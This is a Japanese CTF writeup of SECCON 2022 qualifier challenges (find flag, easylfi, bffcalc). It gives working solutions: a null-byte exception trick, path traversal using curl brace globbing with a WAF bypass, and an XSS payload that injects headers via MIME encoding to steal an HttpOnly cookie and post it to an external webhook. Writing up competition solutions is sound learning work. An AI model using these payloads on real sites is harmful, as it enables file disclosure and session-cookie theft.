🛡️

SECCON CTF 2022予選 Writeup [welcome, find flag, easylfi, bffcalc]

2022/11/14に公開

例年同様p3r0zで出場し、全体50位、国内15位でした。

最近のp3r0zの傾向として、解ける問題ジャンルがひどく偏ってしまっています。業務に関係ないジャンルがどんどんできなくなっている……

言い訳はさておき、本記事では私が解いたwelcome, find flag, easylfi, bffcalcの解法を書きます。

welcome

例年通りDiscordのアナウンスチャンネルに貼られていました。

SECCON{JPY's_drop_makes_it_a_good_deal_to_go_to_the_Finals}

find flag

ソースコードは以下の通り。

#!/usr/bin/env python3.9
import os

FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode()

def check():
    try:
        filename = input("filename: ")
        if open(filename, "rb").read(len(FLAG)) == FLAG:
            return True
    except FileNotFoundError:
        print("[-] missing")
    except IsADirectoryError:
        print("[-] seems wrong")
    except PermissionError:
        print("[-] not mine")
    except OSError:
        print("[-] hurting my eyes")
    except KeyboardInterrupt:
        print("[-] gone")
    return False

if __name__ == '__main__':
    try:
        check = check()
    except:
        print("[-] something went wrong")
        exit(1)
    finally:
        if check:
            print("[+] congrats!")
            print(FLAG.decode())	    

最初は /proc/self/environ とか、環境変数の中に含まれるFLAGをうまくファイルの先頭に持ってくるようにするのかと思って試行錯誤してました。check関数内でこれだけ例外処理を書いているのに、__main__にもexcept文があることからここが怪しいと見て、check関数内で例外を捕捉されないようなエラーを考えました。
実は、finally内の if check: に渡ってくるcheckには、check関数の実行結果のbool(正常終了時)とcheck関数オブジェクト(check関数内で例外が捕捉されなかったとき)の2通りあり、check関数でTrueとならずともフラグを出力できます。(実際に実行するまで全然気づかなかったのですが……)
そのため、check関数内で捕捉されない例外をスローするような入力として、ヌルバイトを送ってやればフラグを入手できます。(ちなみにopen時にValueErrorをスローします)

$ python -c "print('\x00')"| nc find-flag.seccon.games 10042
filename: [-] something went wrong
[+] congrats!
SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}

easylfi

名前を入力するとHello, (名前)!と返してくれるサービスです。

ソースは以下の通り。URLのパス部分からファイルを取得しているため、パストラバーサル攻撃ができます。

app.py
from flask import Flask, request, Response
import subprocess
import os

app = Flask(__name__)


def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid


def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)
    return text


@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response


@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("

    try:
        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout"

    if proc.returncode != 0:
        return "Something wrong..."
    return template(proc.stdout.decode(), request.args)

VM上のディレクトリ構成としては以下の通り。

/
|- app (work dir)
|  |- app.py
|  \- public
|     |- index.html
|     \- hello.html
\- flag.txt

まず普通に相対パスで親ディレクトリのflag.txtを読んでみます。curlで../などの相対パスを勝手に解決しないようにするには、--path-as-isオプションを付けます。(これはクライアント側の話です)

$ curl --path-as-is "http://easylfi.seccon.games:3000/../../flag.txt"
Do not try path traversal :(

index関数の冒頭でチェックしているように、親ディレクトリの遷移指定は弾かれます。

ここで、curlのマニュアルを読むと、[]{}で複数指定する方法があるとわかります。

URL
The URL syntax is protocol-dependent. You find a detailed description in RFC 3986.

You can specify multiple URLs or parts of URLs by writing part sets within braces and quoting the URL as in:

"http://site.{one,two,three}.com"

or you can get sequences of alphanumeric series by using [] as in:

"ftp://ftp.example.com/file[1-100].txt"

"ftp://ftp.example.com/file[001-100].txt" (with leading zeros)

"ftp://ftp.example.com/file[a-z].txt"

まず、index関数の冒頭で親ディレクトリの遷移である..が防がれてしまっているため、これを回避する手段として.{.}というパスに変えてみます。クライアントのcurlでこの機能が発動しないように、バックスラッシュでエスケープしています。

$ curl --path-as-is "http://easylfi.seccon.games:3000/.\{.\}/.\{.\}/flag.txt"
Try harder

出力が変わりましたがまだflagは取得できていません。waf関数でチェックしているSECCONという文字列の存在チェックに引っかかってしまいました。

これを回避するために、template関数にて、URLクエリとして{name}=hogeのようにつけると、レスポンステキスト内の一致する文字を置き換える機能をうまく活用します。
一見、validate関数によって正規表現で表すと{.*}に一致するキーのみ受け付けているように見えますが、実際は{というキーも受け付けています。flagがSECCON{xxxxxxx}という形で、{以降が重要なので、この性質をうまく利用します。
今はレスポンステキストにflag.txtの中身しか含まないため、SECCON{で始まってしまっており、SECCONの置換はできません。もし前に別の文字列(例えば hoge{fuga とします)を追加することができれば、hoge{fugaSECCON{xxxxxxx}となります。ここで、{}{に置換することでhoge}{fugaSECCON}{xxxxxxx}となり、{fugaSECCON}を適当な文字列に置換することで、wafのチェックを回避できます。
そこで、curlの先程の複数指定機能をまた使い、hello.htmlをflag.txtの前に追加してみます。

試しに、Dockerで立ち上げたサーバー内で以下のcurlを叩くと、以下のようにhello.htmlとflag.txtが結合されて出力されます。({}はネストできないので、hello.htmlを取得するには/proc/self/cwd経由でアクセスしています)

$ curl "file:///app/public/.{.}/.{.}{/proc/self/cwd/public/hello.html,/flag.txt}" 2>/dev/null
...(中略)...
  <h1>Hello, {name}!</h1>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON{dummydummy}

{name}{, {}{, {!</h1>\n</body>\n</html>\n--_curl_--file:///app/public/../../flag.txt\nSECCON}を``に順番に置き換えていけば、フラグ部分を取得できます。よって、

$ curl --path-as-is "http://easylfi.seccon.games:3000/.\{.\}/.\{.\}/\{proc/self/cwd/public/hello.html,flag.txt\}?\{name\}=\{&\{=\}\{&\{!%3C/h1%3E%0a%3C/body%3E%0a%3C/html%3E%0a--_curl_--file:///app/public/../../flag.txt%0aSECCON\}="
--_curl_--file:///app/public/../../proc/self/cwd/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, }{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}

より、SECCON{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}が得られます。

bffcalc

(問題ソースコードは長いので割愛)

問題形式から、XSSを使ったCookie窃取とわかります。XSS可能なexpr文字列を作ってbotに送りつける形です。

まず、XSSはimgタグのonerrorイベントで実行できます。

<img src=a onerror="alert()"/>

次にCookieの窃取方法を考えます。
このサービスにアクセスすると、サーバー内部では

nginx → bff → backend

という流れでバックエンドサーバーにアクセスされます。明らかに余計なbffが怪しいので実装を見てみると、proxyメソッドでHTTPリクエストをわざわざ一度テキストに起こし直していました。またPOSTなどのリクエストボディは破棄されていることもわかります。

def proxy(req) -> str:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("backend", 3000))
    sock.settimeout(1)

    payload = ""
    method = req.method
    path = req.path_info
    if req.query_string:
        path += "?" + req.query_string
    payload += f"{method} {path} HTTP/1.1\r\n"
    for k, v in req.headers.items():
        payload += f"{k}: {v}\r\n"
    payload += "\r\n"

    sock.send(payload.encode())
    time.sleep(.3)
    try:
        data = sock.recv(4096)
        body = data.split(b"\r\n\r\n", 1)[1].decode()
    except (IndexError, TimeoutError) as e:
        print(e)
        body = str(e)
    return body

ソースから、HTTPヘッダインジェクションを疑います。普通に\r\nを追加しても、クライアントやサーバーでエラーとなるので、使われているWebフレームワークであるcherrypyの実装を見てみると、ヘッダがRFC2047 MIMEメッセージヘッダー形式でエンコードされていた場合、デコードできることがわかります。

あとは、POSTリクエストボディにexprパラメータとしてCookieが含まれるようにうまくリクエストを加工するだけです。
ChromeのデベロッパーツールでダミーのCookieを設定した上で、fetchを使ってCookieが出力されるようにします。
cherrypyのapplication/x-www-form-urlencoded形式でクエリの終端文字となる;&が入ってしまうとレスポンスに含まれなくなってしまうため、どのヘッダーを使うかは結構重要です。私はContent-Typeを使い、Accept-Languageに;が含まれないようにして実行しました。

> await fetch("/api", {
  "headers": {
    "Content-Type": "=?utf-8?q?application/x-www-form-urlencoded=0D=0A=0d=0Aexpr=3Da?=",
    "Accept-Language":"*"
  },
  "method": "POST",
  "mode": "cors",
  "credentials": "include",
  "body": Array.from(new Array(130)).map(_=>" ").join("") }).then(r=>r.text())
< 'a\r\nAccept: */*\r\nOrigin: http://bffcalc.seccon.games:3000\r\nReferer: http://bffcalc.seccon.games:3000/\r\nAccept-Encoding: gzip, deflate\r\nCookie: FLAG=SECCON{dummydummy}HTTP/1.0 200 OK\r\nConnection: close\r\nContent-Length: 2\r\nContent-Type: text/html;charset=utf-8\r\nDate: Sun, 13 Nov 2022 14:23:34 GMT\r\nServer: CherryPy/18.8.0\r\nVia: waitress\r\n\r\n42'

bffがbackendに送っている実際のリクエストヘッダは以下のような感じで、Content-Typeより下がリクエストボディになっています。

POST /api HTTP/1.1
Remote-Addr: 172.21.0.6
Remote-Host: 172.21.0.6
Connection: upgrade
Host: nginx
X-Real-Ip: 172.21.0.3
X-Forwarded-For: 172.21.0.3
X-Forwarded-Proto: http
Content-Length: 130
Accept-Language: *
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded

expr=a
Accept: */*
Origin: http://nginx:3000
Referer: http://nginx:3000/
Accept-Encoding: gzip, deflate
Cookie: flag=SECCON{dummydummy}

ちなみに実際のフラグの長さは異なりますが、リクエストボディの長さを調節することで出力部分の長さも調整できます。実際の長さより長くしてしまうと、永遠にリクエストボディを待ち受けしてしまいtime outとなるため、調整が必要です。

imgタグに上のスクリプトと、私が確認できるような処理を追加してbotに叩いてもらえばフラグを取得できます。

botに送ったテキスト

<img src="a" onerror='fetch("/api", {   "headers": {     "Content-Type": "=?utf-8?q?application/x-www-form-urlencoded=0D=0A=0d=0Aexpr=3Da?=","Accept-Language":"*"},   "method": "POST",   "mode": "cors",   "credentials": "include",     body: Array.from(new Array(182)).map(_=>" ").join("") }).then(r=>r.text()).then(b=>fetch(`(webhook url)`, {method: "POST", body: b}))'/>

得られたレスポンス

a
Accept: */*
Origin: http://nginx:3000
Referer: http://nginx:3000/
Accept-Encoding: gzip, deflate
Cookie: flag=SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}

感想

SECCON CTF 2019以来久々の決勝ありの大会であり、2019年に続いて国内決勝出場を目標にしていましたが、補欠止まりとなってしまいました。年々問題の質の向上とともに難化しているように感じ、また自身やチームメンバーの高齢化で徐々についていけなくなってきているのを痛感します。
補欠から出場できるかはわかりませんが、まずは苦手な問題ジャンルのwriteupを読んで復習しようと思います。

Discussion